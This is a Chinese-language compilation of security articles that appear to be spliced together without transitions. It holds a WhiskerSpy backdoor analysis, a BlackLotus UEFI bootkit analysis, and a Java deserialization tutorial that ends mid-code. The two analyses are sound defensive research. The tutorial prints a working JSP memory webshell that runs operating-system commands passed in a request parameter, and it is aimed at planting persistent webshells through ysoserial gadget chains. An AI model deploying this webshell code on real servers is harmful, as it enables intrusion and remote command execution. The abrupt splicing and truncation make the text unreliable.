XML文件包含MSBuild項目,該項目包含執行.NET代碼的任務。要了解有關此過程如何工作的詳細信息,請參閱以下Microsoft文檔。 NET代碼的邏輯很簡單:啟動KamiKakaBot,它本身位於XML文件(以base64格式打包和編碼)中。打開此文件後,控制權將傳遞給KamiKakaBot。

11.png

解包並啟動KakaKamiBot的XML文件內的代碼片段

XML文件的路徑在啟動MSBuild時作為參數傳遞。運行MSBuild的命令位於註冊表項(HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell)中,該註冊表項是在DLL文件執行期間創建的。完成此步驟後,每當用戶登錄到系統時,MSBuild將運行。此外,DLL創建一個可重複的任務,將受害者從系統中註銷。

趨勢科技研究人員最近發現了一個新的後門,他們將其歸因於之前報導過的被稱為Earth Kitsune的攻擊者。自2019年以來,“Earth Kitsune”一直在向主要對朝鮮感興趣的個人傳播自主開發的後門變體。在我們過去調查的許多示例中,攻擊者通過使用了水坑攻擊策略,攻擊與朝鮮有關的網站,並將瀏覽器漏洞注入其中。在分析的最新活動中,Earth Kitsune使用了類似的策略,但沒有使用瀏覽器漏洞,而是使用了社會工程。

在2022年底,研究人員發現一個親朝組織的網站被入侵和修改,以傳播惡意軟件。當目標訪問者試圖在網站上觀看視頻時,攻擊者註入的惡意腳本會顯示一條消息提示,通知受害者視頻編解碼器錯誤,以誘使他們下載並安裝木馬編解碼器安裝程序。安裝程序經過修復,加載了一個以前看不見的後門,我們稱之為“WhiskerSpy”。此外,我們還發現攻擊者採用了一種有趣的持久性技術,濫用了Google Chrome的本地消息主機。

1.png

WhiskerSpy感染鏈

在這篇文章中,我們將揭示Earth Kitsune所使用的WhiskerSpy後門的感染鍊和技術細節。

在2022年底,我們注意到一個親朝網站在他們的視頻頁面中註入了惡意腳本。該腳本顯示了一個帶有虛假錯誤消息的彈出窗口,旨在誘使受害者安裝偽裝成高級視頻編解碼器AVC1的惡意包。

2.png

一個被攻破的親朝網站的社會工程示例

這些網頁被配置為只向目標IP地址列表中的訪問者發送惡意腳本(沒有這些IP地址的訪問者不會收到惡意負載)。這種配置使得攻擊難以被發現。幸運的是,我們設法在攻擊者的服務器上找到了一個文本文件,其中包含與目標IP地址匹配的正則表達式。其中包括:

位於中國瀋陽的IP地址子網;

一個位於日本名古屋的特定IP地址;

位於巴西的IP地址子網;

瀋陽和名古屋的IP地址很可能是他們的真正目標。然而,我們發現巴西的目標IP地址大多屬於一個商業VPN服務。我們認為,攻擊者使用此VPN服務來測試其水坑攻擊的部署。它還為我們提供了一個驗證水坑攻擊的機會,通過使用相同的VPN服務來成功接收惡意腳本。

3.png

原始頁面(左側)和帶有註入腳本的頁面(右側)之間的網頁內容比較

該網站加載帶有以下重定向代碼的惡意JavaScript(popup.js):

4.png

嵌入式JavaScript重定向到惡意安裝程序下載

修復安裝程序安裝程序文件是一個MSI安裝程序,它封裝了另一個NSIS安裝程序。攻擊者濫用了合法的安裝程序(windows.10.codec.pack.v2.1.8.setup.exe - e82e1fb775a0181686ad0d345455451c87033cafde3bd84512b6e617ace3338e),並將其修復為包含惡意shellcode。該補丁包括增加的部分數量,從5個增加到6個(圖5中的紅色括號),並增加圖像大小,為惡意shellcode創建額外的空間(圖5中的綠色括號)。

5.png

原始(上)和修復(下)安裝程序,在修復版本中某些參數的大小會增加

6.png

在修復的安裝程序中新添加了.odata部分

修復後的安裝程序的入口點被更改為立即跳轉到shellcode。 shellcode使用簡單密鑰(XOR0x01)加密。

7.png

修復後的安裝程序的入口點跳轉到.odata部分的代碼中

解密後,shellcode運行幾個PowerShell命令來下載惡意軟件的其他階段。這些文件都是可執行文件,從一開始就有幾百個字節,使用單字節密鑰進行異或。

8.png

.odata部分中的Shellcode調用幾個PowerShell命令來下載其他加載器

然後,它恢復原始入口點(總共15個字節),以確保原始安裝程序按預期運行。

9.png

.odata部分中的Shellcode恢復安裝程序的原始入口點

下載的二進製文件:加載器通過OneDrive持久化的路徑(Icon.jpg)這包含路徑\microsoft\onedrive\vcruntime140.dll,這是另一個下載文件(bg.jpg)以vcruntime140.dll的名稱釋放的位置。

持久性和加載器濫用OneDrive側加載漏洞(Bg.jpg)這是vcruntime140.dll (Microsoft C Runtime庫)的修復版本。在本例中,函數memset被修復。從函數(retn)返回的值被一個跳轉到覆蓋(在新添加的.onda部分中)所取代,其中註入的代碼從覆蓋中讀取字節,用一個單字節的密鑰對它們進行異或處理,並將嵌入的有效負載注入到werfautl.exe進程中。覆蓋層中的shellcode是主後門的加載器。

10.png

原始memset函數,注意地址0x18000C7D1處的指令返回(retn)

11.png

修復的memset函數,注意,地址0x18000C7D1的指令是跳轉(jmp),以覆蓋shellcode

該文件被放置在%LOCALAPPDATA%\microsoft\onedrive\目錄中,這是onedrive應用程序的默認用戶安裝位置。此前有報導稱,攻擊者利用OneDrive側加載漏洞,將虛假dll放置到該OneDrive目錄中,以實現在受攻擊計算機中的持久性。

持久性和加載程序使用惡意Google Chrome擴展(Favicon.jpg)這是一個安裝包,包含installer.exe(一個Google Chrome擴展安裝程序)、NativeApp.exe(一個本地消息主機)和Chrome擴展文件(background.js、manifest.json和icon.png)。

NativeApp.exe是一個本地消息主機,使用標準輸入(stdin)和標準輸出(stdout)與Chrome擴展通信。注意擴展清單中的type=' stdio '。

12.png

擴展清單,請注意擴展ID (allowed_origins)路徑導致被釋放的可執行文件和type=標準輸入/輸出

13.png

在Google Chrome擴展選項卡中查看的惡意擴展

Background.js擴展腳本向onStartup消息添加一個監聽器。該偵聽器將“inject”命令發送到本機消息傳遞主機,有效地充當某種獨特的持久性方法,因為惡意有效負載在每次Chrome瀏覽器啟動時都會執行。

14.png

onStartup事件的處理程序(Chrome瀏覽器的啟動)

NativeApp使用JSON格式的消息與Chrome擴展交換數據,並實現三個命令:execute、load和inject。

消息的格式如下:xx xx xx xx {“cmd”:””,”data”:””},其中xx xx xx xx是以字節為單位的消息長度。 “cmd”項必須包含一個已實現的命令值(execute、load和inject),而“data”項可能包含其他參數,如路徑和要執行的程序。

以下是有效JSON消息的示例:

15.png

注意,每個消息的前面必須有一個4字節的小端序長度值。傳遞不可打印字符(0x00,如下圖所示)可以通過使用PowerShell及其Get-Content cmdlet和-raw參數實現,然後通過管道“|”將該內容重定向到NativeApp。如果cmd.bin文件包含如下圖所示的相同內容,NativeApp.exe將運行notepad.exe。

16.png

指示執行notepad.exe的消息,第一個DWORD0x0000003f是以下JSON消息的長度

在當前實現中,inject命令沒有參數。相反,它連接到硬編碼的URL地址http://

主後門加載器(Help.jpg)

這是一個shellcode,加載另一個嵌入式可執行文件——我們命名為WhiskerSpy的主後門負載。

主有效載荷:WhiskerSpy

WhiskerSpy使用橢圓曲線密碼(ECC)在客戶端和服務器之間交換加密密鑰。以下是已實現的後門命令:

交互式shell;

下載文件;

上傳文件;

刪除文件;

列表文件;

截圖;

加載可執行文件並調用其導出;

向進程中註入shellcode;

設備ID被計算為位於系統管理生物系統(SMBIOS)的系統信息表中的16字節UUID的32位Fowler-Noll-Vo 哈希(FNV-1)。有關UUID值的更多詳細信息,請參閱SMBIOS規範第33頁。使用參數“RSMB”調用函數GetSystemFirmwareTable以檢索原始SMBIOS表,然後對其進行解析以定位16字節UUID,該UUID已計算其FNV-1哈希。

對於與命令和控制(CC)服務器的通信,後門生成一個隨機的16字節AES密鑰。它根據該密鑰計算會話ID,作為32位Murmur3哈希。

如上所述,後門使用橢圓曲線密碼(ECC)。我們可以從“.data”部分中存儲的硬編碼值確定橢圓曲線域參數。在下圖中,你可以看到素數(p,黃色)、第一個係數a(紅色)、第二個係數b(綠色)、生成器(基點,藍色)和輔因子(h,橙色)。了解這些參數有助於我們確定“secp256r1”是所使用的曲線,因為我們可以看到列出的大多數常用橢圓曲線的所有重要常數,例如在tinyec項目中。

17.png

“secp256r1”曲線的硬編碼參數

上圖還顯示了一個值(棕色),它表示硬編碼服務器的公鑰。

然後進行一系列計算(橢圓曲線Diffie–Hellman或ECDH密鑰交換):

生成隨機32字節客戶端私鑰(clientPrivKey);

通過將客戶端私鑰乘以曲線生成器來計算客戶端公鑰(clientPubKey=clientPrivKey * curve.g);

通過將客戶端私鑰乘以服務器公鑰來計算sharedKey(sharedKey=clientPrivKey * serverPubKey);

這些計算的結果作為一個64字節二進制blob上傳到CC服務器,其中前32個字節是客戶端公鑰的x坐標,因為常用的共享函數f(P)是取點P的x坐標。後32個字節來自一個隨機的16字節AES密鑰。

CC通信首先註冊設備ID(函數號=3;POST請求“l

18.png

註冊新計算機

隨後上傳帶有客戶端公鑰的x坐標和加密的AES密鑰的64字節文件(函數號=1;POST請求:l

19.png

註冊一個新的會話密鑰並上傳

然後,WhiskerSpy定期向CC服務器請求其應執行的任何任務(函數號=2;POST請求“h

20.png

WhiskerSpy請求執行任務

接收的數據包(文件h

21.png

特殊類型的消息

WhiskerSpy實現標準函數。在分析代碼時,我們注意到一些用於報告任務狀態的狀態代碼,其中接收到的消息的第一個字(兩個字節)是命令ID。注意,在命令包的情況下,所有命令的魔法值都相同,它位於命令ID之前,不顯示在表2中。在活動數據包的情況下,magic值的第一個單詞(2字節)用作命令ID,因此可以在表中找到0x70D值。

22.png

WhiskerSpy的後門命令

類似的後門老版本的WhiskerSpy是32位可執行文件,只實現前面提到的函數的子集(1-5,8,0x70D是相同的,6=退出進程;7=將文件釋放到temp並執行),其餘的函數都不存在。

通信不是通過HTTP協議,而是通過FTP協議。這意味著FTP名稱和密碼必須硬編碼為二進製文件才能進行通信。此方法將當前的受害者數量洩漏為l<machineID><sessionID>和h<machineID<文件,這意味著,任何知道登錄憑據的人都可以看到這些文件。 FTP版本的後門還會檢查調試器是否存在。如果存在,狀態代碼“HELO”將發送到CC服務器。

通過跟踪分析,研究人員將這次攻擊歸咎於Earth Kitsune。在與朝鮮相關的網站上註入惡意腳本,顯示出與該組織以前的活動相似的攻擊手法和受害特徵。此外,在這次攻擊中使用的WhiskerSpy的傳播服務器和CC服務器與我們之前對Earth Kitsune的研究有兩個基礎設施重疊。第一個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]]org和Earth Kitsune的域名rs[.]myftp[.]45[.]76[.]62[.]198。第二個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]org和updategoogle[.]servehttp[.]com,加上傳播服務器microsoftware[.]sytes[.]net的域都解析為172[.]93[.]201[.]172。該IP地址也從Earth Kitsune的agfSpy後門使用的域selectorioi[.]ddns[.]net映射而來。

23.png

基礎設施與Earth Kitsune重疊

總結從技術角度來看,這種威脅非常有趣。它修復合法安裝程序以隱藏其活動,使用鮮為人知的哈希算法來計算計算機ID和會話ID,並使用ECC來保護加密密鑰。此外,所提出的持久性方法也是相當獨特和罕見的。這表明Earth Kitsune不斷在發展他們攻擊能力。

ESET 的安全研究人員近日發現了一種劫持UEFI 的惡意軟件,並將其命名為BlackLotus。該惡意軟件是首個可以在Win11系統上繞過Secure Boot 的UEFI bootkit 惡意軟件。這個bootkit利用UEFI安全啟動的Nday漏洞繞過安全啟動並在啟動過程中加載惡意的內核模塊。設備一旦感染該惡意軟件,就會在Win11 系統中禁用Defender、Bitlocker 和HVCI 等防病毒軟件。

BlackLotus UEFI bootkit近年來發現的UEFI漏洞數量以及在合理的時間窗口內修復或取消易受攻擊的二進製文件的失敗都沒有引起攻擊者的注意。因此,第一個公開的繞過基本平台安全功能的UEFIbootkit——UEFI Secure Boot——現在已經成為現實。在這篇文章中,研究人員首次公開分析了該UEFIbootkit,它能夠在啟用了UEFI Secure Boot的最新Windows 11系統上運行。 bootkit的功能及其單獨的功能使研究人員相信研究人員正在處理一個被稱為BlackLotus的bootkit,UEFIbootkit至少從2022年10月起就開始在黑客論壇上以5000美元的價格出售。

UEFIbootkit的破壞性很大,它完全控制系統啟動過程,因此能夠禁用各種系統安全機制,並在系統啟動的早期階段部署自己的內核模式或用戶模式有效負載。這使得他們可以非常隱秘地行動,並擁有很高的權限。到目前為止,只有少數幾個在野外被發現並被公開報導,例如,研究人員在2020年發現的多個惡意EFI樣本,或功能齊全的UEFIbootkit,如研究人員去年發現的ESPecterbootkit,或卡巴斯基研究人員發現的FinSpybootkit。

與固件植入(如LoJax)相比,UEFIbootkit可能在隱蔽性方面有所下降。研究人員的團隊於2018年發現了第一個野外UEFI固件植入,因為bootkit位於易於訪問的FAT32磁盤分區上。然而,作為啟動加載程序運行可以提供與固件植入幾乎相同的功能,但無需克服多級SPI閃存防禦,如BWE、BLE和PRx保護位,或硬件提供的保護(如Intel Boot Guard)。當然,UEFI Secure Boot阻礙了UEFIbootkit,但有一些不可忽視的已知漏洞可以繞過這一基本的安全機制。最糟糕的是,截止發文時,其中一些漏洞仍然很容易在最新系統上被利用,包括BlackLotus所利用的漏洞。

研究人員的調查始於對2022年末監測中的BlackLotus用戶模式組件(一個HTTP下載器)的一些點擊。經過初步評估,樣本中發現的代碼模式使研究人員發現了六個BlackLotus安裝程序(包括VirusTotal和研究人員自己的遙測)。這使研究人員能夠探索整個執行鏈,並意識到研究人員在這里處理的不僅僅是常規的惡意軟件。

以下是有關BlackLotus的要點,以及與之相關的一系列事件的時間表:

1.它能夠在啟用UEFI Secure Boot的最新、完全修復的Windows 11系統上運行;

2.它利用一個超過一年的漏洞(CVE-2022-21894)繞過UEFI Secure Boot並為bootkit設置持久性,這是該漏洞第一次被公開使用;

3.儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的、有效簽名的二進製文件仍未添加到UEFI取消列表中,因此該漏洞仍有可能被利用。 BlackLotus就是利用了這一點,將其合法但易受攻擊的二進製文件副本帶到系統中,以利用該漏洞;

4.它能夠禁用操作系統安全機制,如BitLocker, HVCI和Windows Defender;

5.一旦安裝完畢,bootkit的主要目標是部署一個內核驅動程序(其中一個功能是保護bootkit不被刪除),以及一個負責與CC通信並能夠加載其他用戶模式或內核模式負載的HTTP下載器;

6.至少從2022年10月6日起,BlackLotus就在地下論壇上進行銷售;

7.有趣的是,如果受攻擊的主機位於以下地區,研究人員分析的一些BlackLotus安裝程序不會繼續進行bootkit安裝:

Romanian(Moldova),ro-MDRussian(Moldova),ru-MDRussian(Russia),ru-RUUkrainian(Ukraine),uk-UABelarusian(Belarus),be-BYArmenian(Armenia),hy-AMKazakh(Kazakhstan),kk-KZ與BlackLotus相關的各事件的時間軸如下圖所示。

1.png

與BlackLotus UEFI bootkit相關的主要事件時間軸

如上所述,自2022年10月6日起,bootkit已在地下論壇上銷售。目前,研究人員還無法從監測數據中確定用於向受害者部署bootkit的確切傳播渠道。研究人員從公開來源和監測數據中獲得的BlackLotus樣本數量很少,這證明只有很少的攻擊者開始使用它。但是,在BlackLotus依賴的易受攻擊的啟動程序被取消之前,研究人員擔心,如果這個bootkit落入知名的犯罪組織手中,情況會迅速發生變化,這是基於bootkit的易於部署和犯罪組織利用其殭屍網絡傳播惡意軟件的能力。

幕後組織是BlackLotus嗎? BlackLotus屬於一款相當全能的固件級rootkit 惡意軟件。特點是能夠躲過各種刪除操作,以及繞過先進的Windows 防護措施。此前這類高級攻擊能力,僅被擁有深厚背景的機構所擁有,比如情報威脅組織。

1.BlackLotus在黑客論壇上的宣稱它具有集成的安全啟動繞過。將易受攻擊的驅動程序添加到UEFI取消列表目前是不可能的,因為該漏洞影響了數百個至今仍在使用的啟動加載程序。

安全研究人員分析:它利用CVE-2022-21894來破壞安全啟動,並在支持UEFI Secure Boot的系統上實現持久性。在撰寫本文時,它使用的易受攻擊的驅動程序仍然沒有在最新的dbx中被取消。

2.BlackLotus在黑客論壇上宣稱,bootkit具有內置的Ring0/Kernel保護,可以防止被刪除。

安全研究人員分析:它的內核驅動程序保護屬於EFI系統分區(ESP)上的文件句柄,可以不被關閉。作為額外的保護層,這些句柄會被持續監控,如果這些句柄中的任何一個被關閉,就會觸發藍屏死機(BSOD)。

3.BlackLotus在黑客論壇上宣稱,它具有反虛擬機(anti-VM)、反調試和代碼混淆功能,可以阻止被分析。

安全研究人員分析:它包含各種反虛擬機(anti-VM)、反調試和混淆技術,使其更難被複製或分析。

4.BlackLotus在黑客論壇上宣稱其目的是充當HTTP下載器。

安全研究人員分析:它的最後一個組件充當HTTP下載器,如HTTP下載器部分所述。

5.BlackLotus在黑客論壇上宣稱,HTTP下載器在一個合法的進程中以SYSTEM帳戶運行。

安全研究人員分析:它的HTTP下載器在winlogon.exe進程上下文中運行。

6.BlackLotus在黑客論壇上的宣稱,它是一個磁盤大小只有80kB的小型bootkit。

安全研究人員分析:能夠獲得的樣本確實在80 kB左右。

7.BlackLotus在黑客論壇宣稱,它可以禁用Windows內置的安全保護,如HVCI, Bitlocker, Windows Defender,並繞過用戶帳戶控制(UAC)。

安全研究人員分析:它可以禁用HVCI, Windows Defender, BitLocker並繞過UAC。

基於這些分析,研究人員可以肯定他們在野外發現的bootkit是BlackLotus UEFIbootkit。

攻擊概述BlackLotus攻擊鏈的簡單步驟如下圖所示。它由三個主要部分組成:

它首先執行安裝程序(下圖中的步驟1),該安裝程序負責將bootkit的文件部署到EFI系統分區,禁用HVCI和BitLocker,然後重新啟動計算機。

第一次重新啟動後,利用CVE-2022-21894並隨後記錄攻擊目標設備所有者的密鑰(MOK),以便在啟用UEFI Secure Boot的系統上實現持久性。然後重新啟動設備(下圖的步驟2-4)。

在所有後續啟動中,執行自簽名的UEFIbootkit,並部署其內核驅動程序和用戶模式有效負載(HTTP下載器)。這些組件能夠一起從CC服務器下載並執行額外的用戶模式和驅動程序組件,並保護bootkit不被刪除(下圖中的步驟5-9)。

2.png

BlackLotus的簡單步驟

工件分析儘管研究人員認為這是BlackLotus UEFIbootkit,但在分析的示例中沒有發現任何引用此名稱的內容。相反,該代碼充滿了對《暮蝉悲鸣时》 (HigurashiWhenTheyCry)動漫的引用,例如,在單個組件名稱中,例如Higurashi_installer_uac_module.dll和Higurashi _kernel.sys,以及用於簽名bootkit二進製文件的自簽名證書中(如下圖所示)。

3.png

BlackLotusbootkit使用的自簽名證書

此外,代碼解密但從不使用包含來自BlackLotus開發者的消息的各種字符串(如下圖所示),注意,hasherezade是一位著名的研究人員和各種惡意軟件分析工具的開發者,或者只是一些來自各種歌曲、遊戲或系列的隨機引用。

4.png

BlackLotus開發者在代碼中留下的消息示例

安裝過程研究人員首先分析了BlackLotus安裝程序,bootkit似乎以安裝程序的形式傳播,有兩個版本——離線和在線。這兩者之間的區別在於它們獲取合法(但易受攻擊)的Windows二進製文件的方式,這些二進製文件後來被用於繞過安全啟動。

在脫機版本中,Windows二進製文件嵌入在安裝程序中;

在在線版本中,Windows二進製文件直接從Microsoft符號存儲中下載。到目前為止,我們已經看到以下Windows二進製文件被BlackLotus bootkit濫用:

https://msdl.microsoft.com/download/symbols/bootmgfw.efi/7144BCD31C0000/bootmgfw.efi;https://msdl.microsoft.com/download/symbols/bootmgr.efi/98B063A61BC000/bootmgr.e fi;https://msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.efi;安裝程序的目標很明確,它負責禁用Windows安全功能,如BitLocker磁盤加密和HVCI,並將多個文件(包括惡意bootkit)部署到ESP。完成後,它會重新啟動受攻擊的設備,讓被釋放的文件完成其工作,以確保每次系統啟動時都會自動執行自簽名的UEFIbootkit,無論UEFI Secure Boot保護狀態如何。

初始化步驟執行安裝程序時,它會檢查它是否有足夠的權限(至少需要管理員)將其余文件部署到ESP,並執行其他需要提升進程的操作,如關閉HVCI或禁用BitLocker。如果不是這樣的話,它會嘗試通過使用此處詳細描述的UAC繞過方法再次執行安裝程序來提升,通過程序兼容性助手進行UAC繞過。

獲得必要的權限後,它將繼續,通過使用可用的Windows API函數讀取SecureBoot UEFI變量的值來檢查UEFI Secure Boot狀態,並通過直接訪問內存中的KUSER_SHARED_DATA結構字段NtMajorVersion和NtMinorVersion來確定Windows版本。它這樣做是為了決定是否需要繞過UEFI Secure Boot來在受害者的系統上部署bootkit(因為安全啟動支持最初是在Windows 8中添加的,並且可能不會在任何給定的設備上啟用)。

在繼續下一步之前,它將位於ESP:\EFI\Microsoft\Boot\目錄中的合法Windows啟動管理器(bootmgfw.efi)二進製文件重命名為winload.efi。此重命名的bootmgfw.exfi備份稍後將被bootkit用於啟動操作系統,或者在從CC服務器收到“卸載”命令時恢復原始啟動鏈,詳見CC通信部分。

步驟1——部署文件如果啟用了UEFI Secure Boot,安裝程序會將多個文件放入ESP:/EFI/Microsoft/Boot/和ESP:/system32/目錄中。前者是Windows使用的標準目錄,後者是安裝程序創建的自定義文件夾。

表1提供了安裝程序釋放的文件列表,並簡要說明了每個文件在執行鏈中的角色。稍後研究人員將詳細解釋執行鍊是如何工作的,現在只需注意,幾個合法的Microsoft簽名文件與惡意文件一起被釋放。

表1:BlackLotus安裝程序在啟用UEFI Secure Boot的系統上部署的文件

5.png

如果受害者正在運行不支持UEFI Secure Boot的Windows版本,或者在UEFI Secure Boot被禁用的情況下,部署非常簡單。部署惡意bootkit唯一需要做的事情是將ESP:\EFI\Microsoft\Boot\目錄中現有的Windows啟動管理器(bootmgfw.efi)二進製文件替換為攻擊者自己的自簽名惡意UEFI應用程序。由於UEFI Secure Boot是禁用的(因此在啟動期間不執行完整性驗證),因此不需要利用,UEFI固件只是執行惡意啟動管理器而不會導致任何安全違規。

步驟2——禁用受虛擬機監控程序保護的代碼完整性(HVCI)為了以後能夠運行自定義的未簽名內核代碼,安裝程序必須確保在系統上禁用了HVCI。已經有一位ESET研究人員在2022年就這個主題寫了一篇內容文章(簽名內核驅動程序——Windows內核的無防護網關):

基於虛擬化的安全(VBS)提供了幾個保護功能,其中最突出的是hypervisor保護的代碼完整性(HVCI),這也是一個獨立的功能。 HVCI在內核中強制執行代碼完整性,並且只允許執行有簽名的代碼。它有效地防止了易受攻擊的驅動程序被濫用來執行未簽名的內核代碼或加載惡意驅動程序(無論使用何種攻擊方法),似乎惡意軟件濫用易受攻擊的驅動程序來加載惡意代碼是微軟實現這一功能的主要動機之一。

如下圖所示,要禁用此功能,安裝程序將HypervisorEnforcedCodeIntegrity註冊表項下的Enabled註冊表值設置為零。

6.png

負責禁用HVCI的BlackLotus安裝程序函數的Hex-Rays反編譯代碼

步驟3——禁用BitLocker安裝程序禁用的下一個功能是BitLocker驅動器加密。這樣做的原因是,BitLocker可以與受信任的平台模塊(TPM)結合使用,以確保自系統上配置BitLocker驅動器加密以來,各種啟動文件和配置(包括安全啟動)未被篡改。考慮到安裝程序修改了受攻擊設備上的Windows啟動鏈,在支持TPM的系統上保持BitLocker將導致下次啟動時出現BitLocker恢復屏幕,並提示受害者係統已被攻擊。

要禁用此保護,BlackLotus安裝程序進行以下操作:

遍歷Root\CIMV2\Security\MicrosoftVolumeEncryption WMI命名空間下的所有捲,並通過調用Win32_EncryptableVolume WMI類的GetProtectionStatus方法檢查其保護狀態;

對於受BitLocker保護的對象,它調用DisableKeyProtectors方法,DisableCount參數設置為零,這意味著保護將被掛起,直到手動啟用;

在禁用了必要的保護並部署了所有文件後,安裝程序將自己註冊為在下次系統重新啟動時刪除,並重新啟動計算機以繼續利用CVE-2022-21894。

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

